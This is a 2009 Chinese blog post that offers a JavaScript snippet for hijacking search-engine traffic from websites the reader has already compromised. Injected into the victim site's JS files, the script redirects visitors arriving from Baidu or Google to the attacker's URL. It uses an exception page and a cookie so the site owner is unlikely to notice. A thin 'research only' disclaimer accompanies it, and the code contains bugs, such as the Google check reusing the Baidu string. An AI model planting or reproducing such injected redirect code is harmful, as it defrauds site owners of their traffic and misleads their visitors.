by 清泉
8. 六月 2009 21:40
朋友有着非凡的拿站技能,但一直为不能将原网站流量导入自己网站烦恼,经分析,有如下方法可以满足朋友的需要,窃取他人网站流量同时不易被原站长发现,这便是将一个网站的流量导入另一个网站,原理就是通过程序判断来源页面,如果来源页面是来自baidu,google等搜索引擎,且不是直接打开的首页(可以设置为自己指定例外的页面,之所以需要这样是处理防止被原网站检查人员打开直接打开网站时发现,同时配合cookies写记录,来有效防止被站长发现,cookies的引入可以有效的跳转在一段时间内仅作一次一跳转,就算管理人员打开了非例外处理的页面,也只会跳转一次,一般人都会以为是自己点错了地方),则将网页自动跳转到自己设置的URL,进而达到劫持别人流量的目的,劫持流量只是第一步,第二步要做的就是留下访客,就就需要把访客定向到其想阅读的图文的页面,第二步就是通过程序提取从搜索引擎来源页面中输入的关键字,跳转到网站的搜索页面或自己指定的页面,因为现在大部分网站都是生成静态的,所以下面给出自己写出的JS判劫持URL而不被站长发现的程序,有需要的朋友可以试试,如果有什么问题可以和我联系。
不过要做到这样还是有前题的,就是需要有对方网站的JS文件修改权限,需要获取对方网站的部分文件修改权限,需要拿站,此程序对于那些经常拿站的相当有用。
申明:本程序只供研究网站导入流量之用,严禁用于非法用途,由于使用此程序而导致的任何法律及民事纠纷由使用此程序的人自己负责,本站不负有任何直接或间接连带责任。
<script>
var baiduUrl=".baidu.";
var googleUrl=".google.";
var JumperUrl="http://www.supidea.com"//设置需要跳转到的URL,设置格式如http://www.supidea.com?search.aspx?q=
var ReferUrl=document.referrer.toLowerCase();
var baiduInstr=IndexOfStr(ReferUrl,baiduUrl);
var googleInstr=IndexOfStr(ReferUrl,baiduUrl);
var KillUrlStr="http://www.md5.cc";//设置不需要跳转的URL
var thisURL = document.URL.toLowerCase();
if (baiduInstr>0||googleInstr>0) {//判断是否来自搜索引擎
var DontJumper=IndexOfStr(KillUrlStr.toLowerCase(),thisURL);
if (baiduInstr>0){GetKeyWord=URL_Request(ReferUrl,"wd");}
if (googleInstr>0){GetKeyWord=URL_Request(ReferUrl,"q");}
if (DontJumper="-1" && GetKeyWord!="" && URLgetCookie("CheckReferValue")==""){//判断是否跳转
window.location.href=JumperUrl;//开始跳转
}
else
{
URLsetCookie("CheckReferValue","1")//不需要跳转,设置cookies不作处理。");
}
}
else
{
URLsetCookie("CheckReferValue","1")//不需要跳转,设置cookies不作处理。
}
function IndexOfStr(str1,str2){
var s=str1.indexOf(str2);
return(s);
}
function URL_Request(ReferUrl,strName)
{
var strHref = ReferUrl;
var intPos = strHref.indexOf("?");
var strRight = strHref.substr(intPos + 1);
var arrTmp = strRight.split("&");
for(var i = 0; i < arrTmp.length-1; i++ )
{
var dIntPos = arrTmp[i].indexOf("=");
var paraName= arrTmp[i].substr(0,dIntPos);
var paraData= arrTmp[i].substr(dIntPos+1);
if(paraName.toUpperCase() == strName.toLowerCase())
{
return paraData;
}
}
return "";
}
function URLsetCookie(name,value)
{
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function URLgetCookie(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg)) return unescape(arr[2]).replace(/[\W]/g,'');
else return null;
}
</script>